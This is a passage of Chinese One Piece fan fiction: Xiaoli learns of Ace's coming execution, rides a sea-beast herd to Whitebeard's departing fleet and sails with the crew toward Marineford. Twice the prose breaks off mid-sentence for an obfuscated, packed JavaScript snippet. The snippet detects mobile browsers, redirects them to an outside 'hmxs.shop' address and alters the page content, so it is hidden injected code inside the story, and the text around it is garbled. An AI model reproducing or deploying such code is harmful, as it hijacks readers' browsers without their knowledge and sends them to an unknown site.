她惊疑不定地抬起头,遥望着巴纳罗岛的方向。距离太远,看不到具体的景象,只能看到那个方向的天空似乎都暗沉了一些,隐约有不正常的烟尘升腾。但一种难以形容的、巨大而冰冷的空洞感,却毫无缘由地、精准地攫住了她的心脏,狠狠一攥! 那感觉如此清晰,如此凶险,仿佛有什么与她生命紧密相连、至关重要的东西,正在那里被硬生生地斩断、剥离、飞速离她远去……留下一个寒风呼啸、深不见底的虚空。 “艾斯……” 她无意识地、颤抖着嘴唇,念出这个名字。 还没等她从这阵心悸和混乱中理清哪怕一丝头绪,街道上的局面已然彻底失控! “是军舰!好多军舰!朝着这边来了!海军来了!快跑啊!!” 一个站在高处的男人,用撕裂般的嗓音,声嘶力竭地朝着下方呐喊,脸上写满了纯粹的、面对绝对力量的恐惧。 “上船!上船!离开这里!不想死的都上船!!” 另一些人如同无头苍蝇般狂喊。 恐慌,如同滴入清水的浓墨,又像瞬间爆发的瘟疫,以惊人的速度席卷了整条街道、乃至整个小镇! 刚才还在为摊子倾倒而咒骂的人们,此刻脸上只剩下求生本能的狰狞。他们从地上爬起来,甚至顾不上捡拾散落的财物,就像被无形的鞭子抽打着,开始疯狂地、不顾一切地朝着码头方向涌去! 推搡、踩踏、怒吼、哀嚎……人性在极致的恐惧面前变得脆弱而原始。小狸病后乏力的身体在这股疯狂的人流中如同暴风雨中的一片叶子,被拥挤着、推搡着,身不由己地朝着危险的海岸移动。怀里的向日葵被挤得东倒西歪,花瓣片片剥落,金黄色的碎屑沾满了她的衣襟。 “让开!别挡路!” “滚开!臭女人!” 粗鲁的咒骂和蛮横的冲撞不断袭来。 小狸咬紧牙关,用尽全身的力气逆着人流,像一尾挣扎的鱼,艰难地、一点点地从这疯狂的旋涡中剥离出来。当她终于踉跄着逃回那条通往暂时居住的小旅馆的、相对僻静的后巷时,额头上已满是冷汗,后背的衣衫也被冷汗浸湿,紧紧贴在皮肤上,带来一阵劫后余生般的冰冷。 她低下头,看向怀里。那束不久前还灿烂夺目、承载着她甜蜜期待的向日葵,此刻已经蔫头耷脑,支离破碎。粗壮的茎秆被折断,饱满的花盘扭曲变形,金色的花瓣洒落大半,只剩下残破的几片可怜地挂在上面,沾满了灰尘和汁水的污迹。曾经明亮的颜色,此刻看起来黯淡、狼狈,充满了讽刺的意味。 她站在冷清的巷口,皱着眉头,盯着这束残花看了好久好久。午后的阳光依旧明亮,却再也照不进心底那个骤然变冷的角落。最终,她走到巷角的垃圾堆旁,松开手指。 残破的花束无声地坠落,淹没在杂物之中,像她刚刚被那声爆炸震碎的、不切实际的粉色幻想。 回到小旅馆,这里也已冷清了许多,老板和伙计似乎也接到了风声,正神色紧张地收拾着细软。小狸没有理会他们,径直回到自己和艾斯短暂居住过的房间。 关上门,世界似乎安静了一瞬,但那种心神不宁、坐立难安的焦灼感,却如同附骨之疽,死死缠绕着她。她无法控制自己,一次次走到窗前,伸长脖子,极力眺望着巴纳罗岛的方向,哪怕什么也看不到。耳朵也不自觉地竖起,捕捉着风中可能传来的任何一丝关于那个方向的声响或讯息。 心脏像被放在文火上慢慢炙烤,担忧和不安混合着那阵空洞的余痛,不断煎熬着她。 “艾斯……” 她对着空无一人的房间,对着窗外陌生的天空,喃喃低语,声音里充满了无法掩饰的恐惧和祈求,“你还好么?怎么还不回来啊……求你了……千万不要出事……” 艾斯一直没有回来。 白天在望眼欲穿的焦灼等待中缓慢爬行,夜晚则在辗转反侧、噩梦连连的惊惧中无比漫长,每一分每一秒的流逝都带来新的煎熬。她几乎食不下咽,勉强吃进去的东西也味同嚼蜡。身体刚刚恢复的那点红润和气力,似乎又在这无休止的焦虑消耗中停滞、甚至倒退。但她 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她僵硬地、如同梦游般挪动脚步,走到一个刚刚拿到报纸、正张大嘴巴看着头版的人旁边。视线,不由自主地、带着最后的侥幸和巨大的恐惧,缓缓地、颤抖地落向那人手中报纸的头版—— 【世界政府将于海军总部马林梵多公开处刑,波特卡斯.D.艾斯】 加粗、加大、漆黑如墨的标题,像一柄裹挟着万钧雷霆的巨锤,毫无怜悯地、狠狠地砸进了她的视野,砸碎了她所有的侥幸,砸塌了她整个世界! 标题下方,配着一张清晰得残忍的照片—— 那个总是笑得如同夏日晴空、能驱散一切阴霾的青年;那个身上总是散发着令人安心暖意的火焰;那个会揉乱她的头发、许诺绝不让她孤单的背影……此刻,却伤痕累累,血迹斑斑。沉重的海楼石镣铐锁住了他曾经自由挥舞火焰的双手,冰冷的海军制式长刀架在他修长坚韧的脖颈上,强迫性地将他按跪在冰冷的地面。他脸上带着激战后的疲惫、深重的颓唐,嘴角甚至还有未擦干的血迹,但那双黑曜石般的眼眸深处,却依旧挺直着不屈的脊梁,如同即将被风暴折断、却仍指向天空的孤松。 小狸的瞳孔在那一瞬间骤然收缩成针尖! 全身的血液仿佛在瞬息之间冻结、倒流,然后疯狂地冲上头顶,又猛地沉入脚底,留下一片冰冷的、令人窒息的虚空。四肢百骸失去了所有知觉,只有心脏的位置传来被生生撕裂、剜挖般的剧痛,痛得她眼前阵阵发黑,耳膜嗡嗡作响,几乎站立不稳。 “不……不可能……这不是真的……这不是艾斯……” 她喃喃自语,声音破碎不堪,轻得像濒死的喘息,每一个字都带着血腥气。她猛地伸出手,冰冷颤抖、指节泛白的手指一把抢过那份报纸,死死地、近乎狰狞地攥在手里,难以置信地、瞪大的蔚蓝色眼眸死死盯着那张照片,仿佛要从中盯出一个漏洞,证明这只是一场荒诞的噩梦。 报纸上每一个冰冷的铅字,都像烧红的烙铁,一下下狠狠地烫在她的视网膜上,烫在她的心脏上——公开处刑、马林梵多,还有,他…… 巨大的悲痛、灭顶的恐慌、滔天的愤怒、还有无边无际的冰冷绝望……如同酝酿已久的、毁灭性的海啸,在这一刻轰然爆发,将她彻底吞没,碾碎,拖入深不见底的黑暗深渊。 “嗤啦——!” 她无法控制地、用尽全身最后的力气,指尖深深陷入那脆弱的纸张。那份印着艾斯受难照片和冰冷宣判的报纸,在她手中被硬生生地、残酷地撕扯成了两半。 纸张撕裂的声响,轻微,却如同她整个世界在此刻骤然崩塌、碎裂的哀鸣。 被抢走报纸的路人暗骂了一声,看清她的样子后又露出带有探究意味的幸灾乐祸,越来越多的人注意到她的动作,看着她的纹身开始窃窃私语,她却仿若未闻一样呆呆的望着海面,跌坐在地 碎片从她颤抖的指间滑落,飘散在带着海腥味的冰冷晨风中。 艾斯…… 这个名字卡在喉咙里,再也发不出任何声音,只剩下无边无际的、吞噬一切的黑暗与冰冷,将她牢牢囚禁。 65. 前奏 世界的目光都聚焦在了那座代表绝对正义与权力的钢铁要塞——海军总部马林梵多。巴纳罗岛上那场惊心动魄的对决细节被浓雾与硝烟掩盖,鲜有人知。但世界政府即将于马林梵多公开处决“火拳”艾斯的消息,却像一颗投入平静湖面的巨石,激起了席卷世界的巨大波澜。 街头巷尾,酒馆码头,无人不在议论。这不仅仅是对一个大海贼的处刑,更是世界政府向雄踞新世界、被誉为 “世界最强男人” 的四皇之一——白胡子爱德华·纽盖特,发起的赤裸裸的、不留余地的挑衅与全面战争宣言! 新世界,莫比迪克号。 与马林梵多那边刻意营造的肃杀、冰冷、秩序井然的战争机器氛围截然不同,莫比迪克号及其周围海域,弥漫着的是一种沉重得如同实质的低气压。没有战前多余的豪言壮语,没有一丝一毫的犹豫或讨论,每一个船员心中都只有一个共同目标:夺回艾斯,带回他们的家人! 无关人员已被提前疏散,每一位留下的战士都抱着必死的觉悟。以白胡子海贼团为核心,四十六个来自新世界、声名赫赫的海贼团已然集结完毕,庞大的舰队如同即将出鞘的利剑,散发着令人胆寒的决绝气势。他们誓言,即使与世界政府为敌,也要奋战到底! 而此刻,在那座艾斯与小狸分别的、不起眼的小岛岸边,异变突生! “啊——!!那、那是什么?!” “海!海沸腾了!!” 人们惊恐到极点的尖叫声瞬间撕破了小镇虚假的平静。原本温柔拍打岸边的海水,毫无征兆地如同被煮开的巨锅般疯狂翻滚、咆哮起来!泡沫不是白色,而是带着浑浊的泥沙和诡异的深色。 紧接着,更令人魂飞魄散的景象出现了——无数体型庞大,本应远离浅海的巨型海兽,仿佛受到了某种无法抗拒的召唤,从海中蜂拥而至,密密麻麻,转瞬就挤满了近海! 它们的眼睛赤红,充满原始的愤怒与混乱,巨大的身躯在海水中疯狂地彼此撞击、挤压、撕咬,产生的混乱涡流和巨力,轻而易举地将那些停泊在岸边、来不及逃走的船只像玩具般揉碎、扯烂、吞没!木屑纷飞,帆布撕裂,绝望的哭喊与海兽的嘶鸣混合,场面如同神话中的海神震怒,降下的天罚末日! “天灾!是海神发怒的灾难啊!” “救命!救救我的船!我的全部家产都在上面!” 接连的、远超承受能力的变故,让这座本就风雨飘摇的小岛陷入了彻底的惊骇与崩溃。 就在这片末日般的混乱与绝望中—— 一道瘦小、却带着一往无前气势的身影从城镇的方向猛地冲出!她无视了耳边所有的惊呼、哭喊、碎裂声,目光死死锁定前方狂暴的海岸,脚下速度快得只在空气中留下残影! 在所有人难以置信、甚至以为她要自寻短见的骇然目光注视下,她奔至岸边最前沿的礁石,没有丝毫犹豫,纵身一跃,径直投向了那片沸腾的、布满恐怖巨兽的、令人绝望的怒海! “啊——!!”有人发出了目睹“自杀”的惊叫。 然而,紧接着发生的,是颠覆所有人认知、足以载入岛屿野史传说的一幕—— 那狂暴的、仿佛要吞噬一切的海兽群,在那道渺小身影落入海中的瞬间,仿佛被按下了暂停键,又像是接收到了至高无上的指令,同时停止了肆虐! 庞大的海兽群开始陆续沉入海中,唯有一头巨型海狗朝着远洋方向,以不可思议的速度疾驰而去,转眼间便消失在茫茫海平线上,只留下一片狼藉的港口和劫后余生、呆若木鸡的人们。 “得、得救了……?” “刚、刚才那是……是那个女孩?她跳进去了……” “她牺牲了自己,驱散了海兽,拯救了我们啊!!” 不明真相、深受震撼的人群瘫软在地,继而爆发出劫后余生的痛哭与对那“牺牲者”的由衷感激与歌颂。他们自发地将那道模糊的、跃入海中的背影神化,在未来的岁月里,甚至为她立起了粗糙的、被尊称为“驭海女神”的雕像,祈求保佑这片海域的平安。 他们永远不会知道,真相远比他们的想象更加惊人——那个跃入怒海的少女并非牺牲,而是在极致的悲痛与执念中,唤醒了那来自恶魔果实的她暂且还未意识到的恐怖力量,绝不应该被仅仅称为“复制”的力量。那庞大的兽群护航下,她正坐在那头名为道戈的巨型海狗头顶,如同驾驭着一艘血肉构成的活体战舰,不顾一切地奔向她的战场。 “艾斯!等我!一定要等我——!!!” 小狸死死抓住道戈粗糙湿滑的皮毛,海风如同冰冷的鞭子,猛烈地抽打在她满是泪痕的脸颊上。刚被吹干的泪痕瞬间又有新的滚烫液体涌出,肆意流淌,再被风干,留下盐渍的刺痛。她心中只剩下一个念头在疯狂嘶吼:快一点!再快一点! 当她驾驭着这支令人闻风丧胆的“海兽舰队”,终于冲破重重海浪,遥遥望见莫比迪克号那熟悉的、如同山岳般的巨大船影以及周围那铺天盖地的同盟舰队时,看到的景象让她茫然无措——庞大的舰队已经扬帆,巨大的莫比迪克号正在缓缓转向,准备驶离 他们……要走了? 那……她呢? 他们……不要她了?要留下她一个人?! 海兽群的突然出现,自然引起了整个白胡子舰队的高度警惕和一阵剧烈骚动。无数炮口下意识地调转,对准了这群不速之客。瞭望塔上的船员用望远镜极目远眺,第一时间辨认出了站在那头最为显眼的巨型海狗头顶、那抹熟悉到令人心碎的娇小身影。 “马尔科队长!!!是、是小狸!!是小狸回来了——!!!” 瞭望手用尽全身力气,嘶声高喊,声音因激动和难以置信而变形,穿透海风,传遍主舰。 马尔科闻声,金色的瞳孔骤然收缩。他飞速看向那个方向。当确认那真的是小狸时,他脸上没有半分重逢的喜悦,只有深不见底的凝重和不忍。他攥紧了拳头,指甲几乎要掐进掌心,深吸一口气,快步走到如同定海神针般屹立在船头的白胡子身边,声音低沉沙哑: “老爹……是那丫头……小狸她……回来了。” 白胡子巍峨如山的身躯几不可查地一震。他沉默地、深深地凝视着那汹涌兽潮顶端,那个显得如此渺小、却又如此倔强的身影。 他何尝不懂这丫头的心思,不懂她对艾斯那份深入骨髓的依赖与情感。但正因为清楚,他才更狠下心肠,做出了那个痛苦的决定——不告诉她具体出发时间,甚至有意提前动身。将大男子主义贯彻到底的他不愿,也绝不能,带着这个他看着一点点褪去惊惶、眼中重新有了光彩、精心呵护下才绽放的花蕾般的女儿,去赴那场生还几率渺茫、注定尸山血海的必死血战,去看她心爱之人被架上处刑台的惨烈一幕。 他必须为她留下一条生路,哪怕那意味着暂时的……“抛弃” 白胡子猛地闭上了眼睛,再睁开时,里面只剩下一片不容动摇的、属于船长的冷酷决断。他狠下心肠,猛地一甩身后那件巨大的披风,披风在风中如同战旗般猎猎展开。他没有看向小狸的方向,而是面向大海,面向马林梵多的方向,声音沉如从海底传来的闷雷,斩钉截铁,下达了最终的、冷酷的命令: “出发。” 两个字,如同最冰冷的闸刀,轰然落下。 “老爹!!!!!!” 就在命令余音未散、舰队刚刚开始加速的刹那,一声凄厉绝望到极点、带着撕裂般哭腔的呼喊,猛地穿透呼啸的海风,无比清晰、无比尖锐地刺入了莫比迪克号上每一个人的耳中,也狠狠地、精准地刺穿了白胡子钢铁般的心脏。 小狸看到了,看到了舰队真的开始移动,看到了那面熟悉的旗帜在远离。瞬间,她明白了所有——不是来不及,不是没通知,而是故意的。巨大的委屈、被“抛弃”的恐慌、以及即将再次失去一切的痛苦,如同海啸般彻底冲垮了她苦苦支撑的最后堤坝。 她用尽灵魂的力气哭喊着,声音因过度用力而劈裂,在海风中飘摇,却带着撼动人心的力量: “老爹!这里是我的家啊!我也是白胡子海贼团的一份子啊!!!” “老爹!!大家!求求你们……不要……不要留我一个人了啊!!!我不要再一个人了!!!” 少女站在狂暴的海兽头顶,声嘶力竭,眼眶通红如血,泪水混合着海水在她苍白狼狈的小脸上肆意横流,黑色的头发湿漉漉地贴在额前颊边,绝对称不上好看,甚至有些狼狈不堪。 但正是这幅模样,这毫无保留的哭诉与祈求,却比任何慷慨激昂的战前演说、任何悲壮的赴死宣言,都更具力量。它像一颗投入深水的炸弹,瞬间击碎了船上所有硬汉们用悲壮和决绝苦苦伪装、包裹起来的坚强外壳。 一直紧绷的、名为“牺牲”与“保护”的弦,铮然断裂。 哀痛与不忍,如同最致命的瘟疫,在庞大的舰队中无法抑制地蔓延开来。甲板上,那些在刀口舔血几十年、断骨都不曾哼一声的糙汉子们,此刻再也无法忍耐,发出了压抑不住的、低沉的、如同受伤野兽般的哽咽与痛哭。有人死死咬着牙关,肩膀剧烈抖动;有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她瘫坐在冰冷的甲板上,甚至来不及站直身体,就放声痛哭,哭得浑身剧烈颤抖,哭得上气不接下气,仿佛,仿佛要将五脏六腑都哭出来,瘦弱的脊背蜷缩着,像一只被遗弃后终于找回窝的小兽。 萨奇第一个冲上前,这个平时总是笑得没心没肺、围着灶台转的厨师长,此刻也泪流满面。他一句话也说不出来,只是紧紧地、用力地将那个颤抖的小小身躯搂进自己宽阔温暖的怀里,用自己带着油烟和食物气息的怀抱包裹住她,陪着她一起,像两个孩子般哭得声嘶力竭,毫无形象。滚烫的泪水滴落在小狸湿漉漉的头发上。 其他人也都围拢过来。他们或蹲下身,或站在一旁,伸出手,或轻拍她的肩膀,或握住她冰凉的手,或只是用那双同样通红的、饱含痛楚与决意的眼睛凝视着她。没有言语,却传递着比言语更坚实千万倍的支持、共鸣与同舟共济的悲恸。整艘船,都被这种深沉而压抑的悲伤笼罩。 白胡子缓缓转过身,看着甲板上他的儿子们和女儿相拥哭泣的景象,看着那哭得几乎晕厥的小小身影,他眼中最后一丝犹豫也化为灰烬,燃起冲天烈焰。他猛地举起手中那柄象征着无上力量与守护的无上大快刀十二工·丛云切,厚重的刀柄重重地顿在坚实的甲板上—— “咚!!!” 一声沉闷如惊雷、却带着斩断一切悲泣的坚定巨响,瞬间压过了所有的哭声,让整个甲板为之一震! 所有的目光,含泪的、通红的、悲愤的,都齐刷刷地聚焦到那道如同真正擎天之柱般屹立的身影上。 白胡子目光如炬,如同燃烧的星辰,缓缓扫过他的每一个儿子,最后深深地、定格在那个仍在萨奇怀中抽噎、却同样抬起泪眼望来的小女儿脸上。他洪亮的声音不再有丝毫动摇,如同劈开混沌、定鼎乾坤的雷霆,带着不容置疑的意志与滔天的战意,响彻莫比迪克号,响彻整个集结的庞大舰队,响彻这片即将被战火点燃的海域: “小的们!起航了——!!!” 他略一停顿,吸足了气,胸膛如同风暴中的鼓风机般隆起,将所有的愤怒、悲痛、守护与信念,化作最后、也是最强的咆哮: “去把艾斯!把我们的家人——” “带回来!!!!!!!” “哦哦哦哦哦哦哦哦——!!!!!!” 震天的、仿佛要掀翻天空的怒吼,如同积蓄已久的火山终于喷发,瞬间冲散了所有悲伤的阴云,化作无穷无尽的、灼热的战意与钢铁般的决心!每一个船员都涨红了脸,青筋暴起,用尽生命的力量发出呐喊! 白胡子海贼团的旗帜在风中猎猎作响,庞大的舰队如同苏醒的巨兽,劈波斩浪,朝着最终的目的地——海军总部马林梵多 全速前进 66.约定 “我没事的,马尔科先生,我很精神,我自己的身体我知道的。” 小狸梗着脖子,像一只竖起了全身绒毛、抵死不肯离开巢穴边缘的幼猫。无论马尔科如何用平缓的、试图讲道理的语气劝说——“你需要休息,小狸,保存体力”、“接下来的路还长,yoi”——她就像脚底生了根,死死钉在船舷旁,半步不肯挪动。那双刚刚还哭得红肿的蔚蓝色眼睛,此刻却睁得大大的,里面充满了一种近乎神经质的倔强和毫不掩饰的警惕,紧紧盯着马尔科,仿佛他是那个随时可能再次将她从家人身边拖走的“坏人”。 马尔科推了推眼镜,镜片后的目光带着疲惫和更深的忧虑。他比任何人都清楚,小狸这具刚刚从疾病和高烧中挣扎出来、尚未完全复原的身体,就像一根过度拉伸后勉强接回的弦,表面看似完整,内里却布满了细微的裂痕。她此刻的“精神”,不过是被巨大恐惧、焦虑和不安全感强行驱动的亢奋,是透支所剩无几的体力与心力在硬撑。让她这样紧绷下去,不用等到战场,她自己就会先垮掉。 看着那双写满“别想再丢下我”的眼睛,马尔科心中最后一点犹豫也消失了。他几不可闻地叹了口气,那叹息轻得像羽毛,却沉重如山。 “得罪了,小狸。” 话音未落,在小狸骤然紧缩的、充满惊恐的瞳孔倒映中,马尔科的手掌以她完全无法反应的速度,迅捷而精准地落在了她颈后某个特定的位置。力道控制得恰到好处,不伤及分毫,却足够让那根绷紧到极致的神经瞬间松弛。 “呃……” 小狸只来得及发出一声短促的、带着难以置信的闷哼,眼前一黑,一直强撑的意识和力气如同退潮般飞速流逝。她身体一软,向前倒去,被马尔科早有准备的手臂稳稳接住。 “睡一会儿吧,”马尔科低声自语,看着怀中少女即使在昏迷中,眉头依旧不安地紧蹙着,睫毛上还挂着未干的泪珠。“强制关机,总比你自己把‘机器’烧坏要好,yoi。” 幸,也不幸。 或许是因为身体素质确实有所提升,或许是因为那份“一定要去”的执念如同锚点般拉扯着她的意识,这次强制性的深度休息并没有持续太久。仅仅几个小时后,在一片光怪陆离、充满艾斯呼喊和老爹背影的混乱梦境边缘,小狸猛地挣脱了黑暗的束缚,睁开了眼睛。 入目是莫比迪克号上她所熟悉的天花板,她几乎是从床上弹了起来,直到确认窗外传来的是熟悉的、船只航行时特有的低沉嗡鸣和海水流动的哗哗声,而不是港口的嘈杂或绝对的寂静,那恐惧才缓缓回落,化作一声劫后余生般的、带着颤抖的呼气。 还好……大家没有抛下她。 艾斯…… 这个名字立刻揪紧了她的心脏。她掀开被子,甚至顾不上穿好鞋子,赤着脚就跌跌撞撞地冲出了舱门,沿着熟悉的通道一路奔向甲板。她太慌张了,满心满眼只有寻找老爹的身影,确认大家还在,以至于当她一头撞开通往主甲板的厚重木门时,眼前的景象让她猛地刹住脚步,愣在了原地。 没有熟悉的、一望无际的蔚蓝海面与天空。 取而代之的,是头顶上方一层散发着柔和的、半透明荧光的巨型泡泡膜,将整艘莫比迪克号笼罩在内。泡泡膜之外,是一片无边无际、幽暗深邃的蓝。无数奇形怪状、色彩斑斓的深海鱼群缓缓游弋,或闪烁着生物冷光,或拖着长长的触须。体型庞大如小山的深海巨兽阴影在更远处的黑暗中缓缓蠕动。寂静,一种被放大了无数倍的、带着压迫感的深海寂静笼罩着一切,只有船只破开水流的低沉声响和偶尔传来的、来自深海的、无法辨认的悠长低鸣。 他们……在深海航行? 小狸茫然地站在原地,周围的景色正以惊人的速度向后飞掠,显然航速极快。 甲板上没有人大声喧哗,但到处是繁忙而有序的身影:船员们正在最后一次仔细地保养、检查、打磨着手中的武器。每个人的脸上都笼罩着一层挥之不去的阴云,眉头紧锁,动作间透着一股压抑的狠劲和决绝。 几名负责情报的船员围在一起,中间那人正用压得极低、却因紧张而微微发颤的声音,快速念着刚刚通过特殊渠道传来的、关于马林梵多的最新情报: “……三大将已确认全部就位……王下七武海响应强制召集,除了……其余已抵达……各海军支部精锐正在不断汇集……保守估计,马林梵多目前集结的海军兵力已超过十万……外围还有超过五十艘军舰组成的包围壁……战国元帅坐镇处刑台……他们……是把全部家底都押上了,誓要……将我们全歼……” 小狸的心不断下沉,但她无暇思考。她的目光急切地在甲板上搜寻,很快,就锁定了船头那道最为高大、也最为沉重的身影。 白胡子,他身边还站着马尔科。 白胡子如同亘古存在的礁石,屹立在船头最前端,他沉默地凝望着幽暗的深海远方,周身散发着沉重到近乎凝固的低气压。 马尔科站在他侧后方稍远一些的地方,同样望着远方,金丝眼镜后的目光晦暗难明,双手插在裤兜里,但绷紧的肩膀线条透露着内心的不平静。 “老爹……马尔科先生……” 小狸的声音很轻,带着刚醒来不久的沙哑和小心翼翼,打破了船头令人窒息的沉默。 马尔科闻声有些诧异地转过头,显然没料到她这么快就醒了。他快步走过来,不容置疑地拦在了她和白胡子之间,没让她继续靠近。 “小狸,这边。” 他不容反驳的握住她的肩膀,将她带到船舷边,近乎强制地按着她坐下。 随即,他不等小狸反应,手掌燃起温和而富有生机的青蓝色火焰,轻轻覆在她的额前。火焰如同有生命的触须,细致而迅速地流遍她的全身,探查着她的生命体征。片刻后,马尔科才几不可查地松了口气,收回了火焰,在她旁边坐了下来。 “只是疲劳过度,还有点虚弱,但没有大碍,yoi。” 他陈述道,语气恢复了平日的冷静,但眼底的忧虑未减。 小狸的心却早已揪成了一团乱麻。她几乎是迫不及待地、用冰凉的手指紧紧抓住了马尔科衬衫的衣角,仰着头,眼睛一眨不眨地盯着他,声音里充满了压抑不住的恐惧和最后一丝侥幸的期盼: “马尔科先生,艾斯他……怎么样了?海军会不会……会不会已经……” 那个最坏的词,她死死咬住嘴唇,怎么也说不出口。 马尔科扶住了自己的额头,长长地、沉重地叹了一口气。 “小狸,你不懂。” 他的声音低沉下来,目光不由自主地再次投向了船头那道如山岳般的背影,仿佛能从那里汲取解释这残酷现实的力量。 “他们想必已经知道了艾斯的身份……‘海贼王’哥尔·D·罗杰的儿子。” 马尔科顿了顿,每个字都说得清晰而冰冷,“在这个时代,有什么是比公开处决‘极恶血脉’的继承者,更能打击海贼气焰、彰显所谓‘绝对正义’的事呢?” 他收回目光,看向小狸那双因震惊而睁大的蓝眼睛:“你以为为什么艾斯能在大海上闯出‘火拳’的名号,却一直相对安然无恙?不是因为海军抓不到他,而是因为他上了老爹的船,被‘世界最强的男人’庇护在了羽翼之下。” “尽管艾斯那小子自己可能没什么特别的心思,整天嚷着要让老爹当上海贼王……” 马尔科的嘴角牵起一丝极淡的、近乎苦涩的弧度,“但是,老爹对那个位置,从来都没有兴趣。他总说,他出海的目的,只是为了拥有家人而已。” 他的声音压得更低,带着一种洞悉一切的悲哀,“老爹,是想培养艾斯,想让艾斯当上海贼王的。” “海军……世界政府,不可能眼睁睁看着‘海贼王’的血脉在最强男人的庇护下继续成长,直至某一天,可能再次撼动这个世界。” 马尔科的眼神锐利起来,“战国元帅老了,老爹……也老了。有太多的事,开始力不从心。所以,他们选择在此时出手。向世上最强的男人正面宣战,用艾斯做诱饵,逼迫老爹不得不来,不得不战。” “处刑艾斯,从来不是他们最终的目的,小狸。” 马尔科的目光重新变得幽深,望向那无尽的深海黑暗,仿佛能穿透海水,看到马林梵多那森严的壁垒和处刑台上冰冷的刀锋。“他们想要的,是老爹的命。这是一场光明正大布下的圈套,一场针对老爹的……死局。” 小狸顺着他的视线,怔怔地望向白胡子那仿佛能扛起整片大海的宽阔背影。心情如同被投入巨石的深潭,激荡翻涌,难以平息。 不可置信的情绪达到顶峰,她猛地瞪大了眼睛,蔚蓝色的瞳孔里倒映着绝望的光。嗓音因极致的震惊和恐惧而陡然拔高,几乎破音: “明明知道那是陷阱!为什么还要……!!” “咕啦啦啦啦——!!!” 一声洪亮、豪迈、仿佛能驱散所有阴霾与低沉的大笑,骤然打断了小狸带着哭腔的质问。那笑声如同深海中炸开的闷雷,却带着阳光般的穿透力。 白胡子转过身。令人惊异的是,他脸上毫无阴霾,甚至带着一种近乎爽朗的、充满战意的笑容,额头的皱纹舒展开,月牙状的胡子随着笑声微微颤动。那双眼睛里,没有恐惧,没有犹豫,只有一片澄澈如天空、坚定如磐石的意志。 “马尔科,你这个臭小子,在那里叽叽歪歪跟小狸说什么丧气话呢!” 白胡子大步流星地走过来,沉重的脚步让甲板发出令人心安的闷响。 他低头,看着小狸那张混杂着泪痕、震惊和不解的小脸,声音洪亮而清晰,如同在陈述世间最朴素的真理: “把走丢的儿子带回来,这可是当老爹的责任啊!难道会因为目的地带着些‘小麻烦’,就眼睁睁看着不管吗?” 他顿了顿,大手轻轻地、无比温柔地落在了小狸的头顶,揉了揉她还有些凌乱的黑发,那动作带着能抚平一切惊涛骇浪的沉稳力量。 “而且,” 白胡子挺直了那如同山峦般的脊梁,目光炯炯,语气里充满了不容置疑的自信与磅礴的生命力,“老夫可没准备现在就死呢! 毕竟,我可是答应了我最疼爱的女儿,要活一千年呢!” 他活动了一下肩膀,骨骼发出轻微的、却充满力量的噼啪声,脸上露出一个近乎顽童般的、期待战斗的笑容: “况且,托小狸的福,我现在可是觉得我的身体好得很!还真的是……想畅快地活动一下筋骨了呢!” “老爹……” 小狸仰头看着他,泪水再次不受控制地涌了上来 一股冲动毫无征兆地攫住了她。 她突然站了起来,在马尔科惊愕的目光中,猛地扑上前,紧紧抱住了白胡子那如同巨树般粗壮结实的腿。与此同时,她闭上了眼睛,不顾一切地催动起体内的力量! 嗡—— 一股磅礴而温和的乳白色光晕,以她为中心骤然亮起,如同最深沉的暗夜中绽放的温暖月华。那光芒并不刺眼,却带着浓郁到化不开的生命气息,顺着她紧抱的手臂,源源不断地、毫无保留地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944419|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌向白胡子那具饱经风霜、暗藏无数旧伤沉疴的身躯! 她在试图用透支自己生命力的强度调动的“复制”来的治愈力量,温养、修复她的父亲 “你不要命了!!!” 马尔科的怒喝声几乎同时炸响!他反应极快,一把抓住了小狸后颈的衣领,像是拎起一只不听话的小猫,毫不费力地将她从白胡子腿上“撕”了下来,提到半空! 小狸在空中徒劳地挣扎踢动了几下,但那乳白色的光晕却因为被强行打断而骤然中断、消散。 马尔科没有松手,金丝眼镜后的目光锐利如刀,带着不容置疑的权威和一丝后怕的怒火,紧紧盯着手中这个乱来的丫头: “我才是船医!” 他的声音因激动而有些拔高,“你大病初愈,以为自己能做到什么地步?!强行透支自己的力量,是想再躺下一次吗?!况且——” 他咬了咬牙,语气带着点恼火和无奈,“凭你这点三脚猫的水平,还想抢我的工作吗?! yoi!” 小猫被拎在半空,挣扎无果,看着马尔科严肃中带着关切和怒意的脸,又看了看白胡子有些无奈却温和的眼神,整个人如同泄了气的皮球,瞬间沮丧下来。她瘪了瘪嘴,眼眶以肉眼可见的速度飞快地变红,大滴大滴的眼泪再也无法抑制,无力地、无声地滚落,打湿了她自己的前襟。 “老爹……马尔科先生……” 她的声音哽咽着,带着全然的脆弱和恐惧,终于将心底最深处的害怕哭诉出来,“我好怕,我真的好怕啊!” “我不想任何一个人受伤……我想让大家还能继续快乐地在一起生活,喝酒,开永不停歇的宴会……” “我的愿望,大家当时答应我了的……一定会帮我实现的,对么?” 她抬起泪眼,目光近乎哀求地在马尔科和白胡子脸上逡巡,寻找着那个虚无缥缈的承诺,“我们可以一直、一直快乐地在一起,对么?” 马尔科被她这最简单也最奢侈的愿望问得喉咙一哽。他看着那双被泪水浸透、充满期盼的蓝眼睛,一时竟不敢轻易给出那个在即将到来的血战面前,显得如此苍白无力的承诺。他沉默着,用这份沉默,作为最残酷也最诚实的回答。然后,他缓缓地、将还在轻轻抽噎的小狸放了下来,让她双脚重新踏在坚实的甲板上。 看着马尔科那沉重而默认的沉默,看着他眼中无法掩饰的悲恸与决绝,小狸像是忽然明白了什么。 